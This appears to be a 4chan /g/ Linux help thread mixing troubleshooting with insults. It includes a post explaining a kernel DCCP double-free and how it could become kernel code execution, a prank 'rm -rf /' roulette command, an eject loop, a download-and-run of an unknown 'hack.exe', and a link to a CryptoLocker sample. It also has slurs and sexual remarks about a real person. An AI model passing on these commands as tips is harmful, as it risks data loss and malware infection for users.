/fglt/ - Friendly GNU/Linux Thread

>>59076457
first for install gentoo

Just in, 11 year old bug in Linux kernel just got patched by SUSE:
https://www.suse.com/support/kb/doc?id=7018645

It's a privilege escalation bug thanks to C's lack of security concept. In the current DCCP implementation an skb for a DCCP_PKT_REQUEST
packet is forcibly freed via __kfree_skb in dccp_rcv_state_process if
dccp_v6_conn_request successfully returns [3].

However, if IPV6_RECVPKTINFO is set on a socket, the address of the
skb is saved to ireq->pktopts and the ref count for skb is incremented
in dccp_v6_conn_request [4], so skb is still in use. Nevertheless, it
still gets freed in dccp_rcv_state_process.

The fix is to call consume_skb, which accounts for skb->users,
instead of doing goto discard and therefore calling __kfree_skb.

To exploit this double-free, it can be turned into a use-after-free:

// The first free:
kfree(dccp_skb)
// Another object allocated on the same place as dccp_skb:
some_object = kmalloc()
// The second free, effectively frees some_object
kfree(dccp_skb)

As this point we have a use-after-free on some_object. An attacker can
control what object that would be and overwrite it's content with
arbitrary data by using some of the kernel heap spraying techniques.
If the overwritten object has any triggerable function pointers, an
attacker gets to execute arbitrary code within the kernel.

See https://github.com/torvalds/linux/commit/5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4


How many times has C proven to be an old relic unfit for modern secure computing. OpenSSL's heartbleed, Grub2's Password exploit (the 29 key bypass), Shellshock -- all originate from one root of problem:
"C"


C is the reason why we still have shitty backdoors.
C is the reason why we cannot utilize multiple cores efficiently.
C is the reason why our programs continue to reveal security exploits after decades.
C holds back technology advancement to the 80's .

>>59076487
>he uses a kernel without a canaries
>he has not configured security linux

>>59076487
what do you propose to replace c?

>>59076457
who's the guy in the picture?

>>59076534
I propose Rust. It has major security standards that C doesn't implement. Rust is the best mixture of safety, concurrency and speed.

I want GNU/Redox to be a real thing.

>>59076534
Haskell.


Jk rust.

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on VLC for iOS you can share files locally. You start the "server" form the app and both devices should be on the same wifi network. Then you enter the address that VLC gives you (like 10.0.0.9 or something) and you enterr that on your computer, and then you can stream files from your ipad.

Is something like this possible on linux?

>>59076549
Haskel is way more safer than C, C has tons of undefined behaviors, can't prevent data race or dangling pointers.

Problem with Haskell is it doesn't have the speed required for a systems language

That's a pretty rare moot you've got there, OP.
Care to tell where you got it?

>>59076570
yeah it's called ftp

>>59076540
A faggot boipucci.

>>59077696
how do I set it up?

>>59076570
I dicked around doing this some time ago.
It involved ffmpeg and choking the heart out of my extremely old pc.
I didn't save the config or how it worked because most files could be copied in a minute or two. It didn't work with VLC, I used something else.
There are tutorials.

You shouldn't bother with this if you can do it any other way, or just host that shit on a local server and pull it rather than stream it.
Try looking for a full solution, I did this to do it, not because I desperately needed to stream my terabytes worth of porn locally.

>>59076487
This is why you use grsecurity & custom kernels.
Last years Linux bugs didn't affect me.
RAP will prevent exploitation of this bug.

I installed Tails yesterday and noticed that when I tried to do

shutdown now

it wouldn't work. The same command works fine in CentOS minimal and Manjaro but why not Tails?

what's the best floating window manager?
ps FUCK YOU GOOKMOOT, I HAD TO DO LITERALLY 7 OF THE SLOWEST CAPTCHA

>>59078195
man shutdown

>>59078366
none are the best just use what ever has a theme you like

>>59077975
That is literally my situation.

Thanks.

>>59076457
Vim is retarded.


There, I said it. Why the fuck would the navigation be THIS counter-intuitive?

h -- move left, that's fine
l -- move right, that's fine
j -- move down ?????????????
k -- move up ??????????????

j and k should be reversed. Moving up a line should be on j and moving down a line should be on k. This would objectively be more intuitive. You can NOT defend this retarded vim key mapping. All vim users are masochistic autists.

>>59077992
Grsecurity is a huge pain to manage unless you're on Debian Sid

>>59076570
use net cat and stream to a port and have your ipad listen to that port

>>59078445
then remap it and stop bitching

>>59078445
>This would objectively be more intuitive. You can NOT defend this retarded vim key mapping
is this what putting a patch before the injury looks like?. See the keyboard where vi was developed, that is why hjkl do what they do.

>>59078519
what makes it easier to use on debian?

>>59078529
>then remap it and stop bitching
how? give me a link that doesn't involve reading an entire wiki on vim keymap commands

>>59078568
You can just apt install it rather than manually compile it whenever there is an update

I'm trying to get this working https://github.com/gardaud/hack-exe
pip installs it fine, but when i run it it says:
Traceback (most recent call last):
File "/usr/bin/hack.exe", line 5, in <module>
from hack_exe import main
ImportError: cannot import name 'main'

>>59078574
google nigger

>>59078445
j is where you rest your left-most finger which I dunno seems like where you'd put the most frequently used key. And moving down a line is probably the most important movement key. So it's probably a good choice.

Use it and get used to it and then you won't have a problem. Most people here have embraced this and got used to it.

Next you can go complain that i3's default is jkl; or something for directional moving (which I think most people rebind).

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Are these good? I just found out about it and I really like the concept, but I was wondering if it's an overkill for just a workstation pc.

>>59078519
It's easy on any distro unless you like binary kernels, I'd rather make my own kernel and have no obscure cruft in it.

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Yesterday, I was moving some data to the phone connected as mass storage device from laptop running arch with XFCE.

While waiting, the screen went off.
When turn it back on it seems the mass storage was unmounted and the moving files disappeared.
it wasn't there at the source nor the destination.

1. Does moving files with mv command copy the files over then delete it? or does it copy and delete block by block?

2. In such cases, are the data lost?

3. Why did it unmount?

How do I install a gtk theme without sudo?

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I have a ubuntu 14.04 vps, I want to monitor usage, CPU, RAM... etc like pic related, how do I go about doing this?

>>59079122
Aren't user-themes installed in $HOME/.themes or something like that?
It's been quite a while since I've done that, so I might be wrong.

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>>59076487
>consume_skb
fucking degenerate

>>59076487
free software, amirite, guise?

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>>59079248
you have tons of alternatives, if you need graphs and a web interface then:
http://www.monitorix.org/
https://mmonit.com/monit/
http://munin-monitoring.org/

>>59080327
What if I want a local version?

>>59079334
>its a pro scub faggot episode

>>59080378
htop?

>>59080417
It doens't have all the graphs, though.

I'm using conky right now.

>>59080378
For a VPS?

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>>59080438
no, I just want somehting like windows' task manager. For my shitposting PC.

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>>59080467
your DE's system monitor will do then.

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>>59080498
What if I'm using xfce

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>>59080531
you switch to plasma5.
Or just download whatever is the xfce alternative, found this on google:
http://goodies.xfce.org/projects/applications/xfce4-taskmanager

>>59080498
Task manger got your back.

>>59080560
>http://goodies.xfce.org/projects/applications/xfce4-taskmanager
That's just a task manager, nad doesn't have graphs.

ALso, I hate KDE and have invested too much time in XFCE already.

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>>59080609
from the screenshot in the first page it looks it does.

Recommend me a distro that:
-is Debian-based;
-installs completely from a flash drive;
-has network drivers built in;
-is relatively lightweight/minimal

Currently using Xubuntu, but I was wondering if there are better options.

>>59080634
BunsenLabs

>>59080627
I want more, I have four graphs in my conky config already (CPU, internet I/O, RAM, Swap, Disk I/O)

>>59078519

getting your server remoted is a huge pain to manage unless you're wasting your time on a server that does nothing

>>59077992
+1

>>59080691
>I have four graphs in my conky config already (CPU, internet I/O, RAM, Swap, Disk I/O)
What is the problem then? it looks like you have already a solution.
If you don't like conky then google "linux system monitor" and pick up the one you like more.

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>>59080801
forgot to attach the first result on google, never tried but it looks neat (especially that per-process window)

>>59080823
>>59080801
T-thanks

The CIA thinks they can destroy me, linux will win. Microsoft will collapse because they cannot support themselves anymore.

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>>59076540
When vi was developed, hjkl were the arrow keys. This wasn't changed later since rather switching to the arrow keys, your fingers stay on the home row.
Everything else are shortcuts
(s)ubstitute
(c)change
(w)word forward
(y)ank
(p)aste
(i)nsert
(v)isually select
etc

Run vimtutor to learn vim properly.

>>59078601

$ curl -# -o hack.exe https://u.teknik.io/qovWG.exe && chmod +x hack.exe
$ hack.exe google.com

Or use the bash version: https://raw.githubusercontent.com/janbrennen/rice/master/hack.exe

>>59078637
botnet nigger

>>59079248

$ gnome-system-monitor

or try glances

>>59080634
Debian, in case you need a proprietary driver click "yes" when asked.

Where the ufck is the profile folder of waterfox?

firefox has it under .mozilla.

>>59081849
nevermind, it's sharing the .mozilla folder.

what. the. fuck.

>>59081867
lazy fork

>>59081875
It's faster than firefox, which is all I care about.

Still using pale meme as my main anyway.

How do I search folders recursively, check file extensions and print unique extensions.
I want it to print "mp3 ogg opus flac ape png jpg" from my music directory.

>>59082086
Wait, do you want it to print unique extensions, or print all files with the mp3,ogg,etc.. extensions?

>>59082153
I want it only to print unique extensions, no file names. I've got almost 20k tracks.

>>59082086
>>59082153
>>59082176
nvm, stack overflow helped,

find . -type f | awk -F. '!a[$NF]++{print $NF}'

damn awk magic. Fast as lightning

>>59082209
One of these days I will learn to understand this bullshit

can somebody tell me how to download puppy linux? i need it fast, have universal usb and a flashdrive but can't find the right iso, there's like 5 diferent distros and all of them have 20 versions in .img.xz or .sfs format and i just want latest puppy iso

How hard/easy is it to fuck something important up in Linux?
I just installed Ubuntu yesterday, trying Linux for the first time and I have already run into a problem: Steam doesn't start.

I googled it and apparently other people have the same issue and the solutions involve command lines and shit I am not familiar with at all.

>>59082427
If you're afraid of fucking up something linux is not for you. Instal debian stable, you'll have no problems unless you fuck up something yourself.

ALso, it'lll take you a month or two to ease up to the system and even longer to properly use it.

Better use windows, KID.

Can my computer get infected with malware with wine?

>>59082427
Yeah, Steam is fucking shit. They bundle out-dated libraries ("Steam Runtime") that clash with system libraries with most distros nowadays.

>>59082475
Yes. Wine doesn't sandbox anything and will happily run any malware, although they might not work as expected.

>>59082427
>How hard/easy is it to fuck something important up in Linux?
little if you are not running as root, big if you are and don't know what are you doing

>I just installed Ubuntu yesterday, trying Linux for the first time and I have already run into a problem: Steam doesn't start.
>I googled it and apparently other people have the same issue and the solutions involve command lines and shit I am not familiar with at all.
I wonder how those morons can't even support decently the only officially supported distro.
Post the error anyway, and the solution you want to apply too. Probably it's something fixable installing the correct lib and preloading it.

>>59082471
>Better use windows, KID.

B-but I thought this was the FRIENDLY Linux thread.

In any case, you're probably not wrong, maybe I'll be better off dual booting instead of keeping Ubuntu only.

>>59082521
That's disappointing, I thought they were serious about making Linux a more viable gaming platform every day.

>>59082475
Don't listen to this >>59082548
1. Most of malware is written for windows.
2. You need to run the malware yourself for it to work.
3. if a malware does work, it will at most infect your wine prefix
4. malware designed to infect linux is rare, but if it it designed to do so then it will.

See this
https://www.youtube.com/watch?v=FT2JTBRNHD4

>>59082675
>3. if a malware does work, it will at most infect your wine prefix
not true. As said, Wine doesn't Sandbox anything and has full access to / etc.

>>59076457
https://linuxjourney.com/
new site to post in general thread?

>>59082712
but the malware only infect C:/

>>59082615
Running Steam on ubuntu 16.04 64-bit
STEAM_RUNTIME is enabled automatically
Installing breakpad exception handler for appid(steam)/version(0)
libGL error: unable to load driver: nouveau_dri.so
libGL error: driver pointer missing
libGL error: failed to load driver: nouveau
libGL error: unable to load driver: swrast_dri.so
libGL error: failed to load driver: swrast


This is what I get.

>the solution you want to apply too
Whatever is the simplest solution, I guess.

>I wonder how those morons can't even support decently the only officially supported distro.

This was pretty disappointing tbqh, I went with Ubuntu because I assumed that if Steam would run reliable on any distro, this was the one to get.

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>>59082675
>1. Most of malware is written for windows.
>4. malware designed to infect linux is rare, but if it it designed to do so then it will.

try running something that starts mailing bomb threats or tries to delete your home folder or network mounts before coming here to say b-but it's not designed for linux!

the damage may only be "limited" to the user account it's ran on (which implies network mounts or harddrive mounts aren't safe), and traditional viruses like trojans might not end up doing anything spectacular, that doesn't mean that running random executables under the assumption they're safe because it's linux! lol! isn't going to royally fuck your day up

>>59082903
What's the pic suppose to convey?

of course running random executable is dangerous.
The only safe way IMO is through using write protected media on a machine with disconnected HDD.

I just switched from MPD to Mopidy, and god, what a difference.

Is it supposed to be such an unstable piece of shit?
It claims to support ncmpcpp ,but half of the things I try to do fucks the mpd service, the soundcloud plugin is unmaintained along with nearly all the other plugins, and the web clients are featureless mockups made by some shitty webdev, Not to mention beets integration requires the fucking WEB service to run, which makes no fucking sense. Although I should mention there is a plugin for local beets, it is last updated around 2 years ago, and beets is in active development so I don't expect too much from it.

Is there any (simple) way to get a decent Soundcloud/Spotify/Internet Radio/Youtube integration alongside MPD (or an alternative for local files) for on a headless server? Or am I stuck with MPD for the rest of my life?

>>59082857
Did you install steam from the official repos? if not you may be missing some required libraries.
Also note that it looks like it is trying to load the nouveau driver, if you have an nvidia card you should install their official drivers or you will have shitty performances.

Finally, try to run steam with:

LD_PRELOAD='/usr/$LIB/libstdc++.so.6 /usr/$LIB/libgcc_s.so.1 /usr/$LIB/libxcb.so.1 /usr/$LIB/libgpg-error.so' steam

>>59082903
>>59082966
>>59082675
who is willingly to run some cryptolocker under wine to test it out?
https://www.grc.com / malware / CryptoLocker_02-10-2014.zip

>>59083166
>.pdf.exe

preloader: Warning: failed to reserve range 00000000-60000000
preloader: Warning: failed to reserve range 00000000-60000000
err:dosmem:setup_dos_mem Cannot use first megabyte for DOS address space, please report
preloader: Warning: failed to reserve range 00000000-60000000
preloader: Warning: failed to reserve range 00000000-60000000
err:dosmem:setup_dos_mem Cannot use first megabyte for DOS address space, please report
err:dosmem:setup_dos_mem Cannot use first megabyte for DOS address space, please report
preloader: Warning: failed to reserve range 00000000-60000000
err:dosmem:setup_dos_mem Cannot use first megabyte for DOS address space, please report
err:dosmem:load_winedos Could not load winedos.dll, DOS subsystem unavailable

Wine 32-bit prefix 1.7.54

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>>59082427
>>59082471
>>59082635
>>59082675
>>59082903
I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

>>59083305
sorry richard

>>59083272
kek, now add a Wine appDB report.

Whats a good place to learn regex for use with grep, awk, sed, etc?

>>59083305
>sexy feet stallman
saved
>>59083344
http://www.grymoire.com/Unix/

is there anyway to secure wine when running an untrusted exe?

>>59083426
>wine
Don't use WINE. Run that crap in a VM.
Use wine only for stuff you trust, eg: nothing.

>>59083426
Run your favorite search algorythm against "jails", "sandbox", or just use a VM.

>>59083426
What's the exe?
You can try firejail or using writing filter.

>>59083426
maybe firejail

>have to use linux for programming class
>finally install it
>sound not working spend a bunch of time trying to get it to work
>had to reinstall and update many things
>when it finally works the sound quality is really good, much better than windows
It was gratifying and a nice surprise.

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So I am 100 percent new to linux, but have decided to make the jump because Windows is really starting to piss me off. I want to use Ubuntu instead of Arch, and was wonder how I could customize it to look like this. I've tried searching around for NanoOs and have got nothing. Any advice?

>>59083764
>>59084014
GNU/Linux*

>>59084014
Nano is the email client. You can install that from the package manager.

They also seem to be using cute as file manager (dunno that one, I use spacefm), and the wm is openbox (I use awesomeWM).

Pretty sure you can also install all of these.

>>59084014
What you need is a gtk theme, window manager theme and icon theme.

THe icon theme looks like a modified Windows 95 icon theme (you'll find it online).

The panel you see on the bottom can be easily achieved with xfce-panel or tint. With xfce panel you just create three different panels of desired size and put whatever applets you need on them.


The GTK and Window Manager theme are probably custom made and good luck getting the obese neckbeard behind this desktop to share it with you (they won't, since if you used it their desktop wouldn't be unique anymore".

While window manager themes are rather easy to create, the gtk2 will be a lot harder.

>>59084014
you can ask the guy yourself
>>>/wg/6857829
>>>/wg/6857962

MATE or Xfce?
They seem so generally similar.

>>59084531
mate offers more complete desktop environment experience (as it's a fork of gnome2) and has a better multi monitor support.

Xfce is less "in your face" and is a lot better if you're into hacking your own desktop environment together from available lego pieces.

>>59084269
>They also seem to be using cute as file manager
nah ,faminine, the directory is named "Cute"

its probably just some A E S T H E T I C [broken] theme

>>59084579
So since it's for my laptop (only one display), and for ricing, xfce would probably be better?

Also, I read somewhere that KDE applications will run poorly in xfce, is this true? I thought it common to install dolphin in other DEs, at least on /g/. I had planned to do so also.

>>59084841
>and for ricing
lol

>Also, I read somewhere that KDE applications will run poorly in xfce, is this true?
define poorly.

>>59084867
>define poorly.
the don't look pretty! :(

I'm trying to block incoming ICMP packages using nftables, but it's not working.

$ sudo nft list table inet filter
table inet filter {
    chain input {
        iif lo accept
        ip protocol icmp drop
    }
}

Have I configured something wrong?

>>59084727
Yea, you're right. Not sure which file manager it is then, but fuck it, there are dozens +- like that if you slap on a comparable theme.

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>>59084920
KDE uses Qt, Xfce is a GTK2 desktop environment, with recent version undergoing a port to GTK3.

Buddy if you want pretty just give up on Xfce. You won't get any consistent. All those pictures you've seen so far, it's a smokescreen. They look appealing on the pictures and that's all. The whole shtick falls apart as soon as you start using one of those desktops.

>>59084929
Oops, I forgot

type filter hook input priority 0; 

.

What does this line do? Simply registering a hook?

>>59084929
> block incoming ICMP
Just don't. It's stupid.

>>59084867
>>59084920
I don't know, supposedly there's a noticeable delay in launching KDE applications in other DEs, but I don't see why that would be the case. And not because of their looks, you can force KDE applications to use the GTK theme, can't you?

>>59085008
>And not because of their looks, you can force KDE applications to use the GTK theme, can't you?
Not at all. Qt can pretend to look like currently set gtk theme.

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I've gone and done it it lads
Went full memeing, bought stickers

>>59085002
Tell me why.

>>59085050
I'm fairly fucking sure it's still powered by electricity.

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>>59085050
Even replaced the win key
>>59085069
Ha, I'm using libre energy, which distributes power with GPL licensing

>>59085110
You'll soon hate the sticky residue that will inevitably start creeping from underneath it.

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>>59085110
Also got a large logo to paste on the laptop lid
>>59085129
I plan to keep on top of it by removing any residue that comes out, and maybe buying a replacement if it starts peeling away.

>>59085062
Because ICMP transmits just a few very small, simple control messages that help your networking (and the one of the other side) to function better.

https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages

>>59085151
I'm dead! lol. maybe i'll get some gentoo 't'kies

>>59085008
>>59085024
Okay, here's a much more babby question: how would I set up something similar to xfce's whisker menu in MATE? Specifically, what bothers me most while playing with a live ubuntu MATE is that I can't hit the meta key and type the first few letters of a program then enter to launch it. I'm sure there are plenty of ways to add this functionality (dmenu comes to mind, but I'd prefer something more... graphical), what would be a good way?

>>59085152
By the way, for IPv6, it's even more important than to just avoid a shitload of unnecessary transmission due to ignoring error and flow control messages:
https://blogs.cisco.com/security/icmp-and-security-in-ipv6

>>59085195
I got them from unix stickers, I'm pretty sure they have a gentoo package

>>59078366
floating and wm are mutually exclusive

>>59085275
Uh no, it's the usual gay shit.

>>59078366
Blame google, install 4chan x and enable non-JS v1 captcha as long as they still work, at least it doesn't lag the shit out of your computer and the selection is simple.

>>59085290
>install 4chan x and enable non-JS v1 captcha as long as they still work, at least it doesn't lag the shit out of your computer and the selection is simple.
Or you can stop being a dunce and use the built-in feature that does exactly the same thing.

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>>59085359

>>59085359
That's exactly what I suggested.

Install 4chan x and enable the non-JS v1 captcha.

>>59085470
Woops, I see the problem. Could have succeded in placing a "/" between non-JS / v1, would have been more clear I guess.

The idea is that v1 and the following both work:
> Force Noscript Captcha: Use the non-Javascript fallback captcha even if Javascript is enabled (Recaptcha v2 only).

FreeCAD vs Blender.

Which one is better for designing a home? I've never used either of them but I'm not worried about the learning curve, I can ease my way into it. Just want to know which one is objectively better for professional work.

>>59085599
Designing as in designing the entire building or just the interior layout?

http://www.sweethome3d.com/

>>59085624
Actually, the first project I'm doing will be only interior, however later on I'll be doing both.

>>59085679
I'd say blender but only because all 3d CAD applications I've tried on Linux are janky at best.

>>59085599
freeCAD is CAD, blender a generic suite for 3d modelling, rendering, physics simulation, video editing etc... They are two very different tools.
For architecture, engineering and those kind of thing then absolutely FreeCAD, since blender is not really though for this kind of works.
For artistic 3d animation or design then blender is good.

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>>59085679
>>59085715
But then again blender is not a design tool, it's a 3d modelling tool.

Let me backtrack on what I just said and find a CAD solution that works.If you don't mind paying try BricsCAD, they have a working native linux version.

I used the trial version to make a 2D drawings for a CO2 laser cutter to make a cat bed hanging on a radiator heater. Worked great.
Picture related

>>59085715
>>59085723
Well then maybe I'll just try out both. FreeCAD for the actual building plans, and Blender for an interactive version in order to better visualize things. Thanks

>>59085756
Ha. Nice. Sounds like you've got a happy cat.
Thanks for the suggestion.

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>>59085812
>Sounds like you've got a happy cat.
I fucking hope so.

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>you can run Emacs inside of Emacs

>>59085849
>you can write garbage to your system drive and ruin your operating system within 6 key presses
I don't know why this surprises you

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>>59085849
fuck, I just tried to run vim into vim

>>59085110
>>59085151
how's security on mint nowadays?

>>59085938
no wait, it works in the terminal, that shit happen only if I use gvim.

>>59085290
>v1.13.8.4 (2017-02-21)

>As a workaround for 4chan's recent removal of the ability to start new threads using the v1 (text) Recaptcha, the Use Recaptcha v1 option now only applies within threads. You can enable the new option Use Recaptcha v1 on Index to get Recaptcha v1 in the index and catalog, but unless 4chan's change is reverted, this will interfere with starting threads.

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Hey /g/, what's the best lightweight and user-friendly distro for daily use?

>>59086043
Source Mage

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>>59086043
Soucre Mage, faggot, GNU/Linuuuuuuuxxx!!!!! YEAH!

>>59085151
>>59085110
>>59085050
you'll soon hate those mint stickers because you'll realize how shitty it is and replace it with Arch

>>59086176
This website is 18+.

>>59086176
I like how you capitalized the 'A'

>>59086176
Arch is a stepping stone.

>>59086221
towards?

>>59086226
gentoo

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>>59086226
source magic

>>59086226
enlightenment

>>59086226
something that actually works

>>59086276
But you can install Enlightenment easily on Gentoo too.

>>59086143
>>59086261
fuck off kevin

>>59086355
you won't get internet famous by repeating that fraze kevin

>>59086371
try harder kev.

why drop solus in favour of source mage though?

if I install ubuntu onto an ssd, do I have to worry about TRIM or is it supported/enabled by default?

anyone who mentions "kevin" in his post first is obviously kevin

>>59086447
fuck off kevin

>>59086448
by default since 14.04

>>59086176
arch is just yet another distro hopping station
first you learn with buntumint, then you don't want to get laughs about using babby linuxes and you use fedora and tell youself rh memes about enterprise readyness and super-linuxism, then you realize it's still a babby linux for tippers and you want to be cool, but are too retarded for /g/entoo so you get arch, after wasting time with fixing your system, you know the most stuff and get genfuntoo, then you learn and play around with other obscurities for a while and finally you learn how a distro should work and install debian

>>59086482
most accurate representation i've seen so far.
exactly how my ride went as well, but used opensuse after fedora.

>>59086482
s/debian/Source Mage/

Is there a good informative site on terminal commands, at least the most basic ones like ls, sar etc that I could use to learn/look up how to properly use them ?

>>59086694
run

man man

in your terminal
best resource

>>59086694
this >>59086752
And old guide but quite useful would be tldp
http://tldp.org/guides.html
A bit lazy to find the exact guides, but for beginners there's a guide about the file hierarchy and a few guides about the linux commands.
Old but gold.

I typed "poweroff", terminal frooze , computer wont shut down and now i can no longer type stuff in, what do i do?

>>59087389
terminal emulator on your DE or a tty ? can you go to another tty and do stuff there ?

>>59086752
>>59086694
man install gentoo && man bash

>>59087443
I'm not sure what a tty is, if i do ctrl + alt + F*number* i can switch but i still can't type in any of the new ones

>>59087389
https://en.wikipedia.org/wiki/Magic_SysRq_key#Uses

>>59086261
LOOOOOOOOOOOOOOOOOOOOOOOOL
do you even know who that is

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>>59086752
>man
Actually for coreutils `info' is more useful.
>>59086694

$ info coreutils

Also useful if you want to learn more about the filesystem:

$ info hier

>>59087765
*man coreutils
*man hier

>>59087777
>man coreutils
STKFLT, nice digits tho

>>59087777
Compare `man sort' with `info sort' (or any other core utility) and you'll see why I recommend info. You get a lot more and detailed informations. man is good for a quick overview, but for learning, I'd say info wins.

>>59087765
>Actually for coreutils `info' is more useful.
except for the fact that you have to use info

>>59087868

alias info='info --vi-keys'

>>59087876
neat

>>59087876
yeah but then the other half of the keybindings is completely unintuitive. it's like rms hates vi so much that he intentionally makes the "vi mode" shit

info is good in theory but the amount of shitty keybinds you have to remap to make it usable is too much for me

>>59087904
you could just | less it, bro

How do I fix the bad scaling problem of Gnome on a macbook pro retina?

Pic related, I used the HiDPI scaler, but it only goes from 1 to 2, where 1 is illegible and 2 is retardedly big, and this only actually effects some of the apps.

In the pic I have it set to 1, and firefox becomes tiny, but the top bar is still huge, and the terminal is basically unchanged.

>>59087989
then you lose the whole "it's a manual browser that you can navigate by node!!!"

for any kind of "node-graph/tree/map" documentation, docbook is the only sensible option, and it looks good/functions well in any browser, especially console ones

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>>59088093

>>59076457
>>59076457
Man if m00t shaved his ass he would have such a nice pale pink fuckable asshole.
Imagine fucking m00ts pink aryan tender asshole!
BLISS!

>>59088093
did you try to set the DPI from the gnome-tweak-tool or whatever it's called?

>>59087539
tty are those terminal you access via ctrl alt F*
if you can't do anything even both on your DE and the tty, unique solution is probably to reboot your computer.

I've been trying some DE's from time to time on my laptop. I usually use both the touchpad or a mouse and some DE's can handle both really well while some have very basic mouse configurations. Now I've settled with MATE but it has a very poor configurations for that kind of switching. Can I import the configuration "app" from another DE?

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What are some cool terminal commands?

Longshot question:

I want to store the output of each frame when using mplayer or MPV with the caca display output.

e.g. I want to capture each frame as ASCII
Can I just do this with a simple pipe or >?

>>59088414
mpv can caca nativly, but it's not enabled by default. Recompile and enable it.

>>59076457
Oh man,Just imagine how pink his virgin poipucci is.
FUCK!

>>59088411
Here are some nice alias.

# Fetch the meteo for the current location
alias meteo='curl --silent http://wttr.in/ | head -7'

# Execute the latest command as sudo
alias fuckyou='sudo $(history -p \!\!)'

# Create a directory and move there
mkcd () { 
    [ ! -d "$1" ] && mkdir -vp "$1" && cd "$1"
}

>>59088439
Yes I know, but that doesn't answer the question.
I want to store each frame of caca (regardless of whats playing it).

That is to say I want to store what caca pumps out into text files or...a database or fucking whatever so I have each frame as ASCII

>>59086176
The whole reason why I like mint is because even as a babies OS I still have more control and functionality than with OS X and Windows.
I don't need to tip as hard as you, and I wl never need to tip as hard as you, so I won't go there

>>59088411

$[ $RANDOM % 6 ] == 0 ] && rm -rf /

>>59088411

telnet towel.blinkenlights.nl

>>59088502
>current location
not even close for me and the weather was totally off
wttr.in/[zip code] works though

start a new terminal in the same directory as the current one:
spawn() { uxterm & disown }

>>59088263
yes, it let me choose between a factor 1 and 2.

>>59088411

while :; do eject; done &

>>59089080
motherfucking kek, reminds me of "pamela.exe" for windows (that was like... 20 years ago)

>>59089099
>windows nostalgia
>>>/out/

>>59089099
what did pamela.exe do?

Why aren't you using Source Mage GNU/Linux yet, /g/?

>>59088552
please learn shell scripting

>>59089144
nothing.
pamela.exe did nothing but randomly open your cd drive and drive you insane, the icon of the exe was a hot blonde chick, so you just clicked right away, kek

>>59089171
Because I don't feel like waiting for an hour for Firefox/my kernel to compile, especially on a laptop. source based distros are a useless meme.

I want to unironically install gentoo, but I have only used mint and manjaro before.

Will I be alright with just the handbook? Any tips, for a first time gentoo user?
Would I be better off installing something else? If so, why?

Here's a question: Realistically how easy is Linux to use for day to day shit nowadays?

I've been in IT for 8-9 years and in college I was turned off to Linux for several reasons the main ones being
>Hardware support
At the time I used current but shitty enterprise level hardware and getting drivers for Linux was an absolute nightmare. I could under stand if there was flat out no support but some claimed there were drivers out there you just had to use this here source code and modify this and that and it would work. I don't want to put up with having to manually go line by line modifying text files and such just to get my wifi to work.
>Software support
Almost everything I wanted to install was extremely overcomplicated. I get there needs to be some flexibility for the different distros and such but I do not want to compile software from source or enter 10k commands in a terminal to get a fucking music player to work. Do they finally have regular executable-like installers for most applications?
>Not very many companies use it for their clients, so Windows experience is more valuable in my area
>Too reliant on terminal commands to change basic settings.
Yes I'm a gui fag. I have memorized plenty of Windows commands that help with sys admin functions but honestly don't want to have to learn all the commands required to change basic or basic power-user settings.

Granted last time I used Linux was about 8 years ago Ubuntu and Red Hat.
How much have they improved? Can any non-fanboys answer this objectively?

>>59089020
Just realized I fucked up. Correct code:

for((;;));{ u=https://rms.sexy;t=/tmp/rms.sexy;p=img/`curl -s $u|grep -Po '(?<=img/).*(?=" )'`;curl -#o $t $u/$p;feh --bg-fill $t;sleep 60m;}

>>59089292
GNU/Linux*

>>59089286
>Will I be alright with just the handbook?
yes

>>59089240
yes, because that one terminal will take up your whole screen, won't let you change workspaces or do anything else until the build process is finished

you better go back to windows 10, at least there you have a choice to update whenever you want and the update process won't interrupt your workflow while you're browsing 4chan

>>59089080

while :; do eject; eject -T; done &

>>59088502
expanding on your meteo (replace default location where noted)

meteo() (
  [[ $1 = '-l' ]] && shift && trim='-3'

  curl --silent "wttr.in/${*:-<Default ZIP or City>}" | head -n${trim:-7}
)

>>59089292
Provided you use an easy distro (mint or a Ubuntu flavour) chances are good it that most stuff just werks™. If it doesn't work it can be extremely painful to set up.

Switched from i3 to bspwm. It's pretty comfy but the sxhkd configuration is a bit confusing. Id like to make resizing windows like in i3, where holding alt+ r and then an arrow key shrinks or expands a focused window in the direction you point, but it seems like skhxd needs separate bindings for shrinking and expans

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>>59087691
мaг ингвap (mag ingvar) ofc

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dispel systemd

>>59086043
Source Mage GNU/Linux

>>59086226
magic

>>59089790
I want to be cool like this guy
how to /g/uys?

>>59089869
go to donetsk medical university, try to be a surgeon for several years, realize there's no money in being a shit surgeon, buy a bunch of English self-help and occultism books, rewrite them in Ukrainian, put your name on them.
https://imgur.com/a/fQsqO

>>59089995
why do you have all that stuff?

>>59089292
try out fedora or opensuse
pretty sure they have gui tools for everything and they seem like they would fit you better than *buntu or anything debian-based
hardware has never been an issue for me although i've never really had anything exotic, just printers, scanners, cameras, midi interfaces, all worked fine. sometimes you might have to search around for something and download it off the maintainer's website and then manually put it where it needs to go, like some years back we had a printer that windows stopped supporting and there was no driver for it, but it was still supported on linux, just found the CUPS driver, put it in the right directory, and it worked flawlessly for another 2-3 years.

>>59090058
because Ukraine is a hell hole, and like any normal person, Ingvar wants to GTFO

>>59090081
but why do you have his printed out works?

Did you run

# pacman -Syu

today, /fglt/?

Stop making your scripts compatible to macOS.

>>59090149
No, I'm already grown up and don't use Arch anymore.
>>59090151
[ $(uname) = "Darwin" ] && exit 1

>>59090130
scans, actually

>>59090164
>I'm already grown up and don't use Arch anymore.
I bet you use our wiki, fucking faggot.

>>59090194
Wiki != distro.

>>59090165
yes, why do you have them?

>>59090164
